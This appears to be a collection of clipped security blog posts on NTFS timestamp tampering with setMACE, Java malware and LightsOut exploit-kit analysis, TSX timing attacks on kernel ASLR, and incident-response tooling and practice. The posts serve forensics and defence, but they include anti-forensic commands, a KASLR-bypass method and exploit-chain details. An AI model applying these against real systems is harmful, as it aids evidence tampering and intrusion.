    <br/>session.reationTime: ${pageContext.session.creationTime}
    <br/>requestURI: ${pageContext.request.requestURI}
    <br/>queryString: ${pageContext.request.queryString}
    <br/>PathTranslated: ${pageContext.request.pathTranslated}
    <br/>PathInfo: ${pageContext.request.pathInfo}
    <br/>ServletPath: ${pageContext.request.servletPath}
    </body>
    </html>
    
[/code]

**References:**

****RFC3986: Uniform Resource Identifier \(URI\): Generic
Syntaxhttp://tools.ietf.org/html/rfc3986\#section-3.3

Microsoft IIS 0Day Vulnerability in Parsing Files \(semi-colon bug\)
http://soroush.secproject.com/downloadable/iis-semicolon-report.pdf

Ignoring Content-Type of IE http://utf-8.jp/public/20110723/hitcon-
hasegawa.pptx

IE8 Security: Comprehensive Protection
http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-v-
comprehensive-protection.aspx

# Open Security Research: Windows Timestamp Tampering

**Created:**| _1/4/2012 10:47:09 PM_  
---|---  
**Updated:**| _1/5/2012 9:53:13 AM_  
**Author:**| __  
**Tags:**| _Forensics windows_  
  

### Windows Timestamp Tampering

By Glenn P. Edwards Jr.  
  
From time to time someone will bring up the topic of Windows time stamp
manipulation and if it’s not related to a piece of malware then it’s generally
about Timestomp or touch. These discussions usually contain the same
repetitive information – most notably being to check the time stamp values of
the file \(in NTFS everything, including directories, is considered a file\)
in the $MFT and see if anything stands out. This is usually done by looking at
the $STANDARD\_INFORMATION and $FILE\_NAME attributes for each file. During
the rest of the post these two values will be referred to as $SI and $FN.  
  
In regards to the $FN attribute, Brian Carrier states that “Windows does not
typically update this set of temporal values like it does with those in the
$STANDARD\_INFORMATION attribute, and they frequently correspond to when the
file was created, moved, or renamed," \( page 318\).  
  
There’s been previous write ups regarding time stamp manipulation and Rob Lee
has also created some great charts outlining rules for time stamp changes. In
the Windows world the NtSetInformationFile function, which is inside of
NTDLL.dll, is used to set the MACE timestamps on files within NTFS.  
  
MACE timestamps explained:  

  * M – modify
  * A – access
  * C – create
  * E – entry modified \(sometimes also referred to as a ‘B’ for Born date\)

Recently, there’s been some chatter again about this topic throughout the DFIR
community; however, this time there was something different information being
discussed – modifications of the $FN values. It isn’t something impossible if
you think about it, why couldn’t they be changed? Examples of how to do it
have been publically available but the tool setMACE got some noise because
it’s able to modify the $FN values in an automated and easy way.  
  
If you’ve looked at Rob Lee’s charts or read about the $SI and $FN in Harlan’s
Book then you’re aware of the different scenarios that can affect how these
values change \(i.e. whether they’re copied, moved, moved to another volume
etc.\). setMACE uses a move ‘trick’ in order to be able to change the $FN
values. Basically, if you choose to change all four values in both attributes
then it will:  

  1. Set the $SI values to what you choose
  2. Create a randomly named folder on the volume
  3. Move the file to that new folder \(on the same volume\)
  4. Set the $FN values to match the arbitrary $SI values

  
To date, throughout my investigations I have yet to see any indication of all
\(8-12\) of the $SI & $FN be tampered with… but that doesn’t mean I shouldn’t
be aware that it can happen. It’s generally just the $SI that gets altered
because there’s a documented Win32 API for dealing with them.  
  
Windows timestamps can be an invaluable piece of information to an
investigation but you should also be aware of other ‘features’ which may cause
confusion during your analysis \(i.e. Windows Tunneling\).  

# Testing Process

  
The testing process outlined below was repeated with an attached NTFS
formatted USB drive across the following combinations:  
  

  * Windows XP x86 w/ SP3  

    1. administrator account
    2. limited user account
  * Windows 7 x64 w/ SP1  

    1. administrator account
    2. limited user account

  1. Created a file with a short filename on that USB drive:  
`c:\>echo "short file" >> E:\short.txt  
`  

  2. Created a file with a long filename on that USB drive. Because of the 8.3 filename limitation, I wanted to test if a file with a long file name would have all of its $FN attributes values modified \(since there’d be more than one as opposed to shorter file name in step 2\).  
`  
c:\>echo "long file" >> E:\longfilename.txt  
`  

  3. Grabbed the $MFT prior to tampering
  4. Ran setMACE against both of the files with the options to set all of the $SI and $FN timestamp values to a new value:  
`  
c:\>setMACE.exe "E:\short.txt" -z "2000:01:01:00:00:00:789:1234" -x  
c:\>setMACE.exe "E:\longfilename.txt" -z "2000:01:01:00:00:00:789:1234" –x  
`  
_\* dates may appear different in my results because I switched it up
sometimes to see what would be produced._

  5. Grabbed the $MFT after tampering.
  6. While there’s a few tools out there for $MFT parsing, I chose Harlan Carvey’s mft.pl and it against it each of the $MFT’s  
`  
c:\>perl mft.pl $MFT.original > mft.original.txt  
c:\>perl mft.pl $MFT.tampered > mft.tampered.txt  
`  
_\* When run under a limited account on a system using UAC, as expected, the
prompt is displayed and requires administrative privileges in order to carry
out its modifications \(be aware that this can be bypassed\):_  
  

<img src='img/Temp2_5853.png' width='400' height='174' />

I didn’t want to flood the post with the output of all of the tests but I did
want to include some evidence/indication of what the $SI and $FN values will
look like after such an event occurs. Below are the results from using setMACE
on a Windows 7 x64 machine running as an administrator:  
  
**Original** | **Tampered**  
---|---  
35 FILE Seq: 1 Link: 1 0x38 3 Flags: 1  
0x0010 96 0 0x0000 0x0000  
M: Thu Dec 29 22:56:11 2011 Z  
A: Thu Dec 29 22:56:11 2011 Z  
C: Thu Dec 29 22:56:11 2011 Z  
B: Thu Dec 29 22:56:11 2011 Z  
0x0030 112 0 0x0000 0x0000  
FN: short.txt Parent Ref: 5 Parent Seq: 5  
M: Thu Dec 29 22:56:11 2011 Z  
A: Thu Dec 29 22:56:11 2011 Z  
C: Thu Dec 29 22:56:11 2011 Z  
B: Thu Dec 29 22:56:11 2011 Z  
0x0080 40 0 0x0000 0x0018  
  
36 FILE Seq: 1 Link: 2 0x38 4 Flags: 1  
0x0010 96 0 0x0000 0x0000  
M: Thu Dec 29 22:56:16 2011 Z  
A: Thu Dec 29 22:56:16 2011 Z  
C: Thu Dec 29 22:56:16 2011 Z  
B: Thu Dec 29 22:56:16 2011 Z  
0x0030 120 0 0x0000 0x0000  
FN: LONGFI~1.TXT Parent Ref: 5 Parent Seq: 5  
M: Thu Dec 29 22:56:16 2011 Z  
A: Thu Dec 29 22:56:16 2011 Z  
C: Thu Dec 29 22:56:16 2011 Z  
B: Thu Dec 29 22:56:16 2011 Z  
0x0030 128 0 0x0000 0x0000  
FN: longfilename.txt Parent Ref: 5 Parent Seq: 5  
M: Thu Dec 29 22:56:16 2011 Z  
A: Thu Dec 29 22:56:16 2011 Z  
C: Thu Dec 29 22:56:16 2011 Z  
B: Thu Dec 29 22:56:16 2011 Z  
0x0080 40 0 0x0000 0x0018  
  
37 FILE Seq: 1 Link: 0 0x38 0 Flags:  
| 35 FILE Seq: 1 Link: 1 0x38 5 Flags: 1  
0x0010 96 0 0x0000 0x0000  
M: Thu Jan 1 00:00:00 1970 Z  
A: Thu Jan 1 00:00:00 1970 Z  
C: Thu Jan 1 00:00:00 1970 Z  
B: Thu Jan 1 00:00:00 1970 Z  
0x0030 112 0 0x0000 0x0000  
FN: short.txt Parent Ref: 5 Parent Seq: 5  
M: Thu Jan 1 00:00:00 1970 Z  
A: Thu Jan 1 00:00:00 1970 Z  
C: Thu Jan 1 00:00:00 1970 Z  
B: Thu Jan 1 00:00:00 1970 Z  
0x0080 40 0 0x0000 0x0018  
  
36 FILE Seq: 1 Link: 2 0x38 8 Flags: 1  
0x0010 96 0 0x0000 0x0000  
M: Sun Nov 25 02:24:00 2040 Z  
A: Sun Nov 25 02:24:00 2040 Z  
C: Sun Nov 25 02:24:00 2040 Z  
B: Sun Nov 25 02:24:00 2040 Z  
0x0030 120 0 0x0000 0x0000  
FN: LONGFI~1.TXT Parent Ref: 5 Parent Seq: 5  
M: Sun Nov 25 02:24:00 2040 Z  
A: Sun Nov 25 02:24:00 2040 Z  
C: Sun Nov 25 02:24:00 2040 Z  
B: Sun Nov 25 02:24:00 2040 Z  
0x0030 128 0 0x0000 0x0000  
FN: longfilename.txt Parent Ref: 5 Parent Seq: 5  
M: Sun Nov 25 02:24:00 2040 Z  
A: Sun Nov 25 02:24:00 2040 Z  
C: Sun Nov 25 02:24:00 2040 Z  
B: Sun Nov 25 02:24:00 2040 Z  
0x0080 40 0 0x0000 0x0018  
  
37 FILE Seq: 3 Link: 1 0x38 3 Flags: 2  
0x0010 96 0 0x0000 0x0000  
M: Thu Dec 29 22:57:45 2011 Z  
A: Thu Dec 29 22:57:45 2011 Z  
C: Thu Dec 29 22:57:45 2011 Z  
B: Thu Dec 29 22:57:45 2011 Z  
0x0030 104 0 0x0000 0x0000  
FN: 53142 Parent Ref: 5 Parent Seq: 5  
M: Thu Dec 29 22:57:45 2011 Z  
A: Thu Dec 29 22:57:45 2011 Z  
C: Thu Dec 29 22:57:45 2011 Z  
B: Thu Dec 29 22:57:45 2011 Z  
0x0090 80 0 0x0004 0x0018  
  
  
As you can see from the above snippet of both $MFT’s, the original $MFT
entries \(left\) have their MACE timestamps for 12/29/11 while the tampered
$MFT entries \(right\) have their MACE timestamps either historic or
futuristic. Additionally to note is the $MFT entry \#37 which in the tampered
$MFT showed a folder named “53142”. This is the randomly generated folder
setMACE created in order to carry out its move trick but it’s a good piece of
forensic evidence since it wasn’t previously there and its timestamps are
current.  
  

# Forensic Evidence

While it may make some in the dfir community a bit depressed to see a working
POC that the $FN values can also be changed, it shouldn’t be the end of the
world. It was bound to happen and now that there’s something known out there
its characteristics and methods should be studied/observed. This type of thing
is likely going to come up in your investigation at some point so instead of
throwing in the towel why not show how good your forensics-foo is? There’re
\_plenty\_ of artifacts that can help aid in the detection of timestamp
manipulation:  

  * How did it get to the system?  

    * Web traffic \(proxies\), email, removable media
  * Do you have physical possession of the file you suspect performs the time stomping? If so, dynamic analysis will be the best resource.
  * Do you have a memory dump?
  * Was it executed on the system?  

    * Prefetch, .lnk files, NTUSER.DAT’s Recent folder, A/V logs, MRU, ShellBags, \{THINK\!\}
  * Are there any specific characteristics to the tool used?  

    * Testing with setMACE showed possible indicators:  

      * UAC dialog box for >= 6.0
      * Randomly named folder with digits created then deleted  

        * $MFT record number of file\(s\) modified are close to that newly created folder
        * Time stamps of that folder created weren’t tampered with so good indication of when it occurred
  * What does the $I30 show?
  * What does the $INDX show?
  * Was the system clock altered?
  * Are both the $SI and $FN values modified? Does each of the $FN have their values changed?
  * Do the $FN values predate the $SI values? Should they?
  * What about the values in the $SI and $FN?  

    * Do they seem impossible to exist? i.e. futuristic or too historic
    * Are the milli/nano seconds not set correctly? \(Think granular, Timestomp & Magic Attribute usually set to the nearest second\)
    * Are they blank?
    * Are they inconsistent when put into a timeline?

  

# About the Author

Glenn P. Edwards Jr. is a Senior Consultant with Foundstone’s Incident
Response practice where he specializes in Incident Response, Digital Forensics
and Malware Analysis. Glenn holds a M.S degree in Digital Forensics from the
University of Central Florida as well as a B.S. degree in Information Security
and Privacy from High Point University.

# Cryptography

**Created:**| _11/21/2011 9:16:29 AM_  
---|---  
**Updated:**| _11/21/2011 9:16:29 AM_  
**Author:**| __  
**Tags:**| _conference-material crypto_  
  

## About The Course

<img src='img/Temp2_1724.jpg' />

Cryptography is an indispensable tool for protecting information in computer
systems. This course explains the inner workings of cryptographic primitives
and how to correctly use them. Students will learn how to reason about the
security of cryptographic constructions and how to apply this knowledge to
real-world applications. The course begins with a detailed discussion of how
two parties who have a shared secret key can communicate securely when a
powerful adversary eavesdrops and tampers with traffic. We will examine many
deployed protocols and analyze mistakes in existing systems. The second half
of the course discusses public-key techniques that let two or more parties
generate a shared secret key. We will cover the relevant number theory and
discuss public-key encryption, digital signatures, and authentication
protocols. Towards the end of the course we will cover more advanced topics
such as zero-knowledge, distributed protocols such as secure auctions, and a
number of privacy mechanisms. Throughout the course students will be exposed
to many exciting open problems in the field.

The course will include written homeworks and programming labs. The course is
self-contained, however it will be helpful to have a basic understanding of
discrete probability theory.

# JAVA Malware evading decompilation | inREVERSE
**Created:**| _4/15/2010 9:57:06 AM_  
---|---  
**Updated:**| _4/15/2010 9:57:18 AM_  
**Author:**| __  
**Tags:**| _Decompiler Malware-analysis Java_  
  

## JAVA Malware evading decompilation

Hello,

some days ago Param \(thanks\!\) one of our blog readers sent me a couple of
undetected JAVA malwares, which I’m going to analyze, the md5 are:

\(Sample 1\)  _2138bfc0c92b726a13ff5095bd2f2b72_  
\(Sample 2\)  _a0585edf638f5d1c556239d3bfaf08db_

At this time, both of this malware have a low detection, the first one 1/42
and the second one 0/42 from VirusTotal.

One of the interesting things is that if you try to decompile these samples by
using jD you will get the following notice:

<img src='img/Temp2_4628.png' width='491' height='230' />  
It seems that the bytecode of the above class is thwarting the decompilation
in some way.

So after a little investigation I figured out the reason. The reason is that
jD is unable to handle methods with a large body.

Is it a problem ? No. To proceed with the analysis we can summon JAD. In fact
by using JAD we can obtain the full code. Here are some snippets taken from
the two samples.

\(I will go fast on the analysis, at the end of the post you can find a couple
of links with more details about these malwares.\)

**Sample 1:**  
\(\[CVE-2009-3867\]\)

Imports reveal a lot of information about what the malware is trying to “use”…

<img src='img/Temp2_4626.png' width='491' height='222' />A lot of strings and
a known pattern…

<img src='img/Temp2_4629.png' width='637' height='357' />

Here is the shellcode…

<img src='img/Temp2_4631.png' width='637' height='357' />And the exploitation…

<img src='img/Temp2_4627.png' width='517' height='128' />

**Sample 2:**  
\(\[CVE-2008-5353\] \)

Again the imports are telling us that the malware will try to load “untrusted”
class..

<img src='img/Temp2_4624.png' width='472' height='243' />

Here the malware gets data and cc fields…

<img src='img/Temp2_4625.png' width='589' height='530' />

This is the strategy used to run the malware on the victim system:

<img src='img/Temp2_4630.png' width='557' height='490' />As we can see we have
a long obfuscation that uses string replacements, scrambled names and base64
encoding.

In conclusion, both these malwares are using well known vulnerabilities being
exploited since a while. These malwares still have no generic detections at
all.

If you are interested you can read more in detail about these vulnerabilities
in two of my previous posts here and here.

See ya\!

# TSX improves timing attacks against KASLR | Bromium Labs
**Created:**| _10/31/2014 8:24:48 PM_  
---|---  
**Updated:**| _10/31/2014 8:24:48 PM_  
**Author:**| __  
**Tags:**| __  
  

# TSX improves timing attacks against KASLR

##  Mega biblion mega kakon…

… and similarly a long blog is a nuisance, so I managed to squeeze the essence
of it into a single sentence, the title. If it is not entirely clear, read on.

## SMEP

A typical privilege escalation exploit based on a kernel vulnerabilit yworks
by corrupting the kernel memory in a way advantageous for an attacker. Two
scenarios are possible:

  1. arbitrary code execution in kernel mode
  2. data-only; just alter kernel memory so that privileges are elevated \(e.g. change the access token of the current process\)

Usually, the first method is most straightforward, and most flexible. With
SMEP enabled, attacker cannot just divert kernel execution into code stored in
usermode pages; more work is needed, a generic method being ROP in kernel
body.

## Kernel ASLR

Usually, both above methods require some knowledge about kernel memory layout.
Particularly, in order to build a ROP chain in kernel body, we need to know
the base of the kernel or a driver. In windows 8.1 significant changes  were
introduced to not give to the attacker the memory layout for free. They affect
only processes running with integrity level lower than medium, but it is the
most interesting case, as OS-based sandboxes encapsulate untrusted code in
such a process. The effectiveness of Windows 8.1 KALSR depends on the type of
vulnerability primitive available to the attacker:

  1. If one can read and write arbitrary address with arbitrary contents multiple times, there is no problem, as one can learn the full memory layout.
  2. If one can overwrite arbitrary address with arbitrary content at least twice, then a generic method is to overwrite the IDT entry for interrupt Y with usermode address X \(note IDT base can be obtained via unprivileged sidt instruction\), and then change the type of page holding X so that it becomes a superuser page \(possible because page table entries are at known location\). Finally, trigger code execution with int Y instruction. I assume it is message of  this post, although they do not discuss how to locate a kernel code pointer \(meaning, beat KASLR\) that subsequently should be overwritten. In some cases we do not need to know the address of the kernel code pointer, e.g. if it lives in an area that we can overflow or alter under use-after-free condition.
  3. If one can just control a kernel function pointer, then… We can divert execution neither to usermode \(because of SMEP\) nor to kernelmode \(because of KASLR we do not know addresses of any ROP gadget\). Any hints?

Recently I played with a vulnerability from the third category, and \(at least
for me\) KASLR provided significant resistance. It can be argued that there is
potential for kernel bugs that leak some pointers and thus allow to bypass
KASLR, but something more generic would be better.

## Timing attacks against KASLR

An excellent paper  describes methods to bypass KASLR via timing attacks. One
of the discussed methods is: in usermode, access kernel address X, and measure
the time elapsed until the usermode exception handler is invoked. The point is
that even though usermode access to X throws a page fault regardless whether X
is in mapped kernel memory or not, the timings are different. When we recover
the list of mapped pages, we can infer the kernel base \(or some driver base\)
and consequently the addresses of useful code snippets in it – all we need to
build a ROP chain.

Timing attacks need to take care of the inherent noise. Particularly, on
Windows invoking the usermode exception handler requires a lot of CPU
instructions, and the difference in timing can be difficult to observe. It
would be much better if the probing did not result in the whole kernel page
fault handler executing. Any hints?

## TSX to the rescue

Haswell Intel CPUs introduced the “transactional synchronization extensions”.
It means than only recent CPUs support them; moreover, Intel recommends
disabling them via microcode update, as they are apparently not reliable. Yet
we may assume that someday they will be fixed and become widespread.

TSX makes kernel address probing much faster and less noisy. If an instruction
executed within XBEGIN/XEND block \(in usermode\) tries to access kernel
memory, then no page fault is raised – instead transaction abort happens, so
execution never leaves usermode. On my i7-4800MQ CPU, the relevant timings, in
CPU cycles, are \(minimal/average/variance, 2000 probes, top half of results
discarded\):

  1. access in TSX block to mapped kernel memory: 172 175 2
  2. access in TSX block to unmapped kernel memory: 200 200 0
  3. access in \_\_try block to mapped kernel memory: 2172 2187 35
  4. access in \_\_try block to unmapped kernel memory: 2192 2213 57

The difference is visible with naked eye; an attack using TSX is much simpler
and faster.

Two points as a take-away:

  1. KASLR can be bypassed in an OS-independed way; this post describes how the existing techniques can be improved utilizing TSX instructions.
  2. The attack is possible because of shared address space between kernel and usermode. Hypervisor has a separate address space, and therefore it is not prone to similar attacks.

# certsocietegenerale/FIR

**Created:**| _9/4/2017 9:22:23 AM_  
---|---  
**Updated:**| _9/4/2017 9:22:23 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

<img
src='img/68747470733a2f2f7472617669732d63692e6f72672f63657274736f636965746567656e6572616c652f4649522e7376673f6272616e63683d6d6173746572'
width='90' height='20' alt='Build Status' />

# What is FIR? Who is it for?

FIR \(Fast Incident Response\) is an cybersecurity incident management
platform designed with agility and speed in mind. It allows for easy creation,
tracking, and reporting of cybersecurity incidents.

FIR is for anyone needing to track cybersecurity incidents \(CSIRTs, CERTs,
SOCs, etc.\). It's was tailored to suit our needs and our team's habits, but
we put a great deal of effort into making it as generic as possible before
releasing it so that other teams around the world may also use it and
customize it as they see fit.

<img src='img/dashboard.png' width='888' height='300' alt='dashboard' /> <img
src='img/incident_details.png' width='888' height='497' alt='incident details'
/>

See the wiki for the user manual and more screenshots \!

# Installation

There are two ways to install FIR. If you want to take it for a test-drive,
just follow the instructions for setting up a development environment in the
Wiki.

If you like it and want to set it up for production, here's how to do it.

A dockerfile for running a dev-quality FIR setup is also available in
docker/Dockerfile.

Deploy to Heroku via fir/heroku\_settings.py

# Community

A dedicated users mailing list is available
https://groups.google.com/d/forum/fir-users

# Technical specs

FIR is written in Python \(but you probably already knew that\), using Django
1.9. It uses Bootstrap 3 and some Ajax and d3js to make it pretty. We use it
with a MySQL back-end, but feel free to use any other DB adaptor you might
want - as long as it's compatible with Django, you shouldn't run into any
major issues.

FIR is not greedy performance-wise. It will run smoothly on a Ubuntu 14.04
virtual machine with 1 core, a 40 GB disk and 1 GB RAM.

# Roadmap

  * Nested Todos
  * REST API
  * Mailman
  * You name it :\)

  

# Windows Incident Response: The Need for Analysis in Intelligence-Driven
Defense

**Created:**| _4/7/2012 11:32:13 AM_  
---|---  
**Updated:**| _4/7/2012 11:32:13 AM_  
**Author:**| __  
**Tags:**| _Forensics incident response_  
  

### The Need for Analysis in Intelligence-Driven Defense

I recently ran across this very interesting paper by Dan Guido; the paper is
titled, "A Case Study of Intelligence-Driven Defense". Dan's research point
out the fallacy of the current implementation of the Defender's Paradigm, and
how attackers, however unknowingly, are exploiting this paradigm. Dan's
approach throughout the paper is to make his very valid points based on
analysis of information, rather than vague statements and speculation.  
  
In the paper, Dan takes the stance, in part, that:  
  
\- Over the past year, MITRE's CVE identified and tracked more than 8,000
vulnerabilities  
\- Organizations expend considerable resources \(man-power, money, etc.\)  
\- In 2010, only 13 vulnerabilities "were exploited to install SpyEye, Zeus,
Gozi, Clampi and other info-stealing Trojans in massive exploitation
campaigns".  
  
As such, his point is that rather than focusing on compliance and having to
address all 8K+ vulnerabilities, a more effective use of resources would be to
put more focus on those vulnerabilities that are actually being included in
the crimeware packs for mass malware distribution. Based on the information
that Dan's included in the paper, this approach would also work for targeted
attacks by many of the "advanced" adversaries, as well.  
  
Dan goes on to say:  
  
"_Analysis of attacker data, and a focus on vulnerabilities exploited rather
than vulnerabilities discovered, might yield more effective defenses._ "  
  
This sounds very Deming-esque, and I have to agree. Admittedly, Dan's paper
focuses on mass malware, but in many ways, I think that the approach Dan
advocates can be used across a number of other data breach and compromise
issues. For example, many of the folks who are working the PCI forensic audits
are very likely still seeing a lot of the same issues across the board...the
same or similar malware placed on systems that are compromised using some of
the same techniques. So, Dan's approach to intel-driven defense can be applied
to other aspects of DFIR besides mass malware infections in an equally
effective manner.  
  
Through the analysis he described in his paper, Dan was able to demonstrate
how focusing on a few, low-cost \(or even free\), centrally-managed updates
could have significantly reduced the attack surface of an organization and
limited, inhibited, or even stopped mass malware infections. The same approach
could clearly be applied to many of the more targeted attacks, as well.  
  
Where the current approach to infosec defense falls short is the lack of
adequate detection, response, and analysis.  
  

<img src='img/Temp2_9851.jpg' />

_Detection_ \- look at the recent reports available from TrustWave, Verizon,
and Mandiant, and consider the percentage of their respective customers for
whom "detection" consists of third-party notification. So determining that an
organization is infected or compromised at all can be difficult. Detection
itself often requires that monitoring be put in place, and this can be scary,
and thought of as expensive to those who don't have it already. However, tools
like Carbon Black \(Cb\) can provide a great deal of ROI, as it's not just a
security monitoring tool. When used as part of a security monitoring
infrastructure, Cb will retain copies of binaries \(many of the binaries that
are downloaded to infected systems will be run and deleted\) as well as
information about the processes themselves...information that persists after
the process has exited and the binary has been deleted as part of the attack
process. The next version of Cb will include Registry modifications and
network initiations, which means that the entire monitored infrastructure can
then be searched for other infected systems, all from a central location and
without adding anything additional to the systems themselves.  
  
_Response_ \- What happens most often when systems are found to be infected?
The predominant response methodology appears to be that systems suspected to
be compromised or infected are taken offline, wiped, and the operating system
and data are reinstalled. As such, critical information \(and intelligence\)
is lost.  
  
_Analysis_ \- Analysis of mass malware is often impossible because a sample
isn't collected. If a sample is available, critical information about "in the
wild" artifacts are not documented, and AV vendor write-ups based on the
provided samples will only give a partial view of the malware capabilities,
and will very often include self-inflicted artifacts. I've seen and found
malware on compromised systems for which if no intelligence had been provided,
the malware analyst would have had a very difficult time performing any useful
analysis.  
  
In addition, most often, the systems themselves are not subject to
analysis...memory is not collected, nor is an image acquired from the system.
In most cases, this simply isn't part of the response process, and even when
it is, these actions aren't taken because the necessary training and/or tools
aren't available, or they are but they simply aren't on-hand at the time.
Military members are familiar with the term "immediate actions"...these are
actions that are drilled into members so that they become part of "muscle
memory" and can be performed effectively while under stress. A similar "no-
excuses" approach needs to be applied as part of a top-down security posture
that is driven by senior management.  
  
Another important aspect of analysis is sharing. The cycle of developing
usable, actionable intelligence depends on analysis being performed. That
cycle can move much faster if the analysis methodologies are shared \(and open
to review and improvement\), and if the results of the analysis are also
shared. Consider the current state of affairs...as Dan points out, the cycle
of developing the crimeware packs for mass malware infections is highly
specialized and compartmentalized, and clearly has an economic/monetary
stimulus. That is, someone who's really good at one specific step in the chain
\(i.e., locating vulnerabilities and developing exploits, or pulling the
exploits together into a nice, easy to use package\) performs that function,
and then passes it along to the next step, usually for a fee. As such, there's
the economic motivation to provide a quality product and remain relevant.
Ultimately, the final product in the chain is being deployed against
infrastructures with little monitoring in place \(evidenced by the external
third party notification...\). When the IT staff \(who are, by definition,
generalists\) are notified of an issue, the default reaction is to take the
offending systems offline, wipe them and get them back into service. As such,
analysis is not being done and a great deal of valuable intelligence is being
lost.  
  
Why is that? Is it because keeping systems up and running, and getting systems
back online as quickly as possible are the primary goals of infected
organizations? Perhaps this is the case. But what if there were some way to
perform the necessary analysis in a timely manner, either because your staff
has the training to do so, or because you've collected the necessary
information and have a partner or trusted adviser who can perform that
analysis? How valuable would it be to you if that partner could then provide
not only the results of the analysis in a timely manner, but also provide
additional insight or intelligence to help you defend your organization due to
partnership with law enforcement and other intel-sharing organizations?  
  
Consider this...massive botnets have been taken down \(Khelios, Zeus, etc.\)
when small, dedicated groups have worked together, with a focused approach, to
achieve a common goal. This approach has been proven to be highly
effective...but it doesn't have to be restricted to just those folks involved
in those groups. This has simply been a matter of a couple of folks saying,
"we can do this", and then doing it.  
  
The state of DFIR affairs is not going to get better unless the Defender's
Paradigm is changed. Information needs to be collected and analyzed, and from
that, better defenses can be put in place in a cost effective manner. From the
defender's perspective, there may seem to be chaos on the security landscape,
but that's because we're not operating from an intelligence-driven
perspective...there are too many unknowns, but these unknowns are there
because the right resources haven't been focused on the problem.  

# VRT: Continued analysis of the LightsOut Exploit Kit

**Created:**| _5/4/2014 9:35:38 AM_  
---|---  
**Updated:**| _5/4/2014 9:35:38 AM_  
**Author:**| __  
**Tags:**| _Exploit Examples analysis_  
  

# Continued analysis of the LightsOut Exploit Kit

At the end of March, we disclosed the coverage of an Exploit Kit we called
“Hello”:  _http://vrt-blog.snort.org/2014/03/hello-new-exploit-kit.html_ , or
“LightsOut”, we thought we’d do a follow up post to tear this exploit kit
apart a bit more. This variant of the LightsOut exploit kit uses a number of
Java vulnerabilities, and targets multiple browsers. The primary goal is to
drop & execute a downloader executable, which in turn downloads and executes
more malware samples. These secondary malware samples are run in a sequence,
and do some information harvesting, and potentially exfiltrate the information
harvested. Overall, not fun for visitors to sites compromised with the
LightsOut exploit kit.  
  
Because of the number of Java vulnerabilities leveraged by this kit; it's
important to keep Java updated, and make certain that outdated versions of
Java aren't still sticking around on your PC. You can download a utility from
Oracle to remove outdated versions of Java, referenced by this article:
_https://www.java.com/en/download/faq/uninstaller\_toolinfo.xml_. A detailed
analysis on how the kit operates is below, under **_Browser Trajectory
Analysis_**.  
  
**Java CVEs:** CVE-2013-2465 - Incorrect image channel verification \(buffered
image\) CVE-2012-1723 - Classloader vulnerablity  
CVE-2013-2423 - Java Security Prompt / Warning bypass  
  
**Microsoft Internet Explorer CVEs:**  
CVE-2013-1347 - CGenericElement Object Use-After-Free Vulnerability  
CVE-XXXX-XXXX - Pending verification of another heap spray leveraging a use-
after-free  
**Browsers explicitly targeted:** Chrome, Internet Explorer  
  
**Snort SIDs that should catch parts of this kit:**  
SIDs: 26569 through 26572, 26603 and 26668  
  
 _**First stage dropper:**_

  * _https://www.virustotal.com/en/file/164de09635532bb0a4fbe25ef3058b86dac332a03629fc91095a4c7841b559da/analysis/_

C&C Server: 93.171.216.118  
IP Address hosting malware: 93.188.161.235  
Secondary dropped malware sample sha256 hashes:

  * 1218d79fca1aca48e13a5e6e582cdc5c4d24c3367328c56d61d975a757509335 fl.jpg
  * ac9294849559c94d5e85cb113ce8ca61bca2e576a97a9e81f66321496ddada61 tl.jpg
  * 5ee0761f5eda01985d5f93a5e50a1247fb5c17deba1d471b05fc09751d09a08e shot.jpg
  * a26f3225aa7e7b5263033dee682153fb7a4332429782c5755a9eaebe8a5df095 inf.jpg

**JavaScript IDS evasion methods:**

  * Sample encoded string \(remove all digits\) from JavaScript

"836f4974362o65679305r82637150N61617044a77736359m99323481e9388" becomes
"forName"

##  **Browser Trajectory Analysis**

###  _**Stage 1: dtsrc.php - detect installed fonts, direct to 1st stage of
exploits via IFRAME**_

The first stage leverages a holdover technique from the Internet Explorer 6
era – the HtmlDlgSafeHelper ActiveX control; to check if a list of over 700
fonts are available to the browser. This is entirely unrelated to any
compromise method, but may be a method of "fingerprinting" the installed
version and language packs of Windows + Internet Explorer, based on available
fonts. The list of found fonts is concatenated together, MD5 hashed, and the
hash is submitted to the malicious site.

###  _**Stage 2: dtsrc.php?a=h1 - plugin detection javascript, direction to
individual exploits based on browser + plugins**_

dtsrc.php?a=h1 has JavaScript that detects the environment in the browser to
determine which exploits to direct the browser to. The JavaScript is
obfuscated and minified \(placed all on one line -- use a beautifier utility,
or something like _http://jsbeautifier.org_ for an online version\)

  * In-lines PluginDetect JS library from http://www.pinlady.net/PluginDetect/
  * Interesting: has unused/commented-out code for detecting Microsoft SharePoint plugins.

All of the exploits are called by dynamically appending an <IFRAME> tag to the
document, pointing to one of the exploit URLs. This is the common IFRAME
function leveraged by the dtsrc,php?a=h1 page.

<img src='img/Temp2_8803.png' />

Here’s the unused detection routine for SharePoint — this may be an incomplete
attempt to exploit the MS13-080 Microsoft Internet Explorer CDisplayPointer
Use-After-Free vulnerability.

<img src='img/Temp2_8807.png' />

###  **Browser compromise flow:**

  * ####  IE 7 on XP ––> **h5** exploit page, then:

  1. Java 6 update <= 32 = **h7** exploit page
  2.  _OR_
  3. Java 7 update <= 17 = **h2** exploit page

<img src='img/Temp2_8805.png' />

<img src='img/Temp2_8796.png' />

  * ####  IE 8 on XP ––> **h6** exploit page, then:

  1. Java 6 update <= 32 = **h7** exploit page
  2.  _OR_
  3. Java 7 update <= 17 = **h2** exploit page

<img src='img/Temp2_8799.png' />

  * ####  IE 6 on XP ––> **h4** exploit page, then:

  1. Java 6 update <= 32 = **h7** exploit page
  2.  _OR_
  3. Java 7 update <= 17 = **h2** exploit page

<img src='img/Temp2_8799.png' />

  * ####  Chrome on Windows ––> Java 7 update <= 7 = **h3** exploit page

<img src='img/Temp2_8800.png' />

  * ####  Any browser ––> Java 6 update <= 32 = **h7** exploit page \(see above screenshot\)
  * _OR_ Java 7 update <= 17 = **h2** exploit page

###  _**Stage 3: dtsrc.php?a=\{??\} where \{??\} is one of the h2/h3 etc
below**_

  * ####  **h2 == Java 7 update <= 17 CVE-2013-2423**

  * This uses a base64 encoded JNLP with applet parameter \_\_applet\_ssv\_validated=true for the CVE-2013-2423 warning bypass
  * Loads the r2 JAR for downloading the dropper

<img src='img/Temp2_8802.png' />

And if we base64 decode the jnlp\_embedded parameter, here’s the warning
dialog bypas:

<img src='img/Temp2_8804.png' />

